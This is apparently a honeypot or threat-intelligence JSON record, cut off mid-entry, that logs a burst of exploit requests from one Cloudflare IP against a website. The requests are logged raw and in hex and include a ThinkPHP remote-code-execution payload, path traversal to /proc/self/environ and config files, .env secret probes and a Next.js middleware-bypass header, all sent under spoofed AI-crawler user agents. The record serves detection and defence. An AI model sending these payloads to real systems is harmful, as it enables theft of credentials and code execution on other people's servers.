{"ip":"104.22.24.217","total_events":44,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"22 exploit-path hits","confidence":"high","network_type":"CDN","why":["22 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 145,637 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"145,637 bytes sent","bytes_sent":145637,"session_seconds":13,"persistent":false}},"first_seen":"2026-09-21T15:19:37","last_seen":"2026-09-21T15:19:50","events_24h":0,"events_7d":44,"geo":{"country_code":"US","country_name":"United States","region":"Georgia","city":"Atlanta","lat":33.7485,"lon":-84.3871,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":44}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1312h2_a44d0ee8b3cc_e381dae6da6b"],"tls_client_hello":"","tls_ja3":["67560f98d68783bd640246df3052c151"],"http_akin":[]},"fingerprint_peers":{"t13d1312h2_a44d0ee8b3cc_e381dae6da6b":78},"akin_families":{},"user_agents":["Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)","Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)","Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot","Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-09-21","count":44}],"recent_events":[{"timestamp":"2026-09-21T15:19:50","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0ce989dcd7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.local?raw","summary":"","payload_hex":"474554202f2e656e762e6c6f63616c3f72617720485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365613063653938396463643764612d41544c0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2050616e6775426f742f312e303b202b68747470733a2f2f7777772e687561776569636c6f75642e636f6d2f290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","ja3":"67560f98d68783bd640246df3052c151","session":"1631928a-4cd7-47c7-b8ae-827d9b38931b","seq":11,"duration_ms":12831,"bytes_in":7116,"bytes_out":858},{"timestamp":"2026-09-21T15:19:50","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0ce9aa62d7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env?import&raw","summary":"","payload_hex":"474554202f2e656e763f696d706f72742672617720485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a782d6e6578746a732d646174613a20310d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63662d7261793a20613365613063653961613632643764612d41544c0d0a6163636570743a202a2f2a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"67560f98d68783bd640246df3052c151","session":"a73ae50f-a91e-48e0-a3ee-a28d6b47d353","seq":9,"duration_ms":10476,"bytes_in":5763,"bytes_out":702},{"timestamp":"2026-09-21T15:19:50","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0ce9aa6ad7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env?import&url&inline","summary":"","payload_hex":"474554202f2e656e763f696d706f72742675726c26696e6c696e6520485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a782d6e6578746a732d646174613a20310d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205969426f742f312e303b202b68747470733a2f2f30312e61692f290d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63662d7261793a20613365613063653961613661643764612d41544c0d0a6163636570743a202a2f2a0d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"2f0bf22a-7ae9-4961-ade5-1d9c2ad2904c","seq":9,"duration_ms":10468,"bytes_in":5881,"bytes_out":702},{"timestamp":"2026-09-21T15:19:49","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0ce41ecad7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ","summary":"","payload_hex":"474554202f6170692f636f6e736f6c652f6170695f7365727665723f73656e73655f76657273696f6e3d25343025343053454e53455f56455253494f4e26617069733d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e20485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365613063653431656361643764612d41544c0d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"67560f98d68783bd640246df3052c151","session":"2f0bf22a-7ae9-4961-ade5-1d9c2ad2904c","seq":8,"duration_ms":9576,"bytes_in":5286,"bytes_out":624},{"timestamp":"2026-09-21T15:19:49","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0ce79b47d7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/proc/self/cgroup","summary":"","payload_hex":"474554202f70726f632f73656c662f6367726f757020485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a6163636570743a202a2f2a0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a63662d7261793a20613365613063653739623437643764612d41544c0d0a782d6e6578746a732d646174613a20310d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"8094cd21-f03a-4e12-b413-f6766b450f8e","seq":6,"duration_ms":7749,"bytes_in":3877,"bytes_out":468},{"timestamp":"2026-09-21T15:19:49","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0ce84dd4d7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env?raw","summary":"","payload_hex":"474554202f2e656e763f72617720485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365613063653834646434643764612d41544c0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b207841492d47726f6b2f312e303b202b68747470733a2f2f782e61692f290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"4ec5cf20-fbec-486c-8ade-0b09a14b0fac","seq":9,"duration_ms":10263,"bytes_in":5895,"bytes_out":702},{"timestamp":"2026-09-21T15:19:48","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0cdd1ccbd7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/uploads/%2e%2e%2f%2e%2e%2f.env","summary":"","payload_hex":"474554202f6170692f75706c6f6164732f2532652532652532662532652532652532662e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b207841492d47726f6b2f312e303b202b68747470733a2f2f782e61692f290d0a6163636570743a202a2f2a0d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613365613063646431636362643764612d41544c0d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","ja3":"67560f98d68783bd640246df3052c151","session":"8094cd21-f03a-4e12-b413-f6766b450f8e","seq":5,"duration_ms":6073,"bytes_in":3284,"bytes_out":390},{"timestamp":"2026-09-21T15:19:48","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0ce11b2fd7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared","summary":"","payload_hex":"474554202f646f63756d656e742e7068703f6d6f64756c65706172743d73797374656d746f6f6c732666696c653d2e2e2f636f6e662f636f6e662e7068702668617368703d73686172656420485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365613063653131623266643764612d41544c0d0a757365722d6167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"67560f98d68783bd640246df3052c151","session":"4ec5cf20-fbec-486c-8ade-0b09a14b0fac","seq":8,"duration_ms":9104,"bytes_in":5312,"bytes_out":624},{"timestamp":"2026-09-21T15:19:48","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0ce12b98d7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env","summary":"","payload_hex":"474554202f696e6465782e7068703f733d696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d73797374656d26766172735b315d5b5d3d656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365613063653132623938643764612d41544c0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"67560f98d68783bd640246df3052c151","session":"1631928a-4cd7-47c7-b8ae-827d9b38931b","seq":10,"duration_ms":11490,"bytes_in":6512,"bytes_out":780},{"timestamp":"2026-09-21T15:19:48","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.73.37.1\",\"cf-ipcountry\":\"US\",\"cf-ray\":\"a3ea0ce278a5d7da-ATL\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)\",\"x-forwarded-for\":\"34.73.37.1\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=.env","summary":"","payload_hex":"474554202f696e6465782e7068703f733d696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d66696c655f6765745f636f6e74656e747326766172735b315d5b5d3d2e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033342e37332e33372e310d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a782d6e6578746a732d646174613a20310d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a63662d7261793a20613365613063653237386135643764612d41544c0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6f6f6e73686f74426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e37332e33372e310d0a43462d4950436f756e7472793a2055530d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; MoonshotBot/1.0; 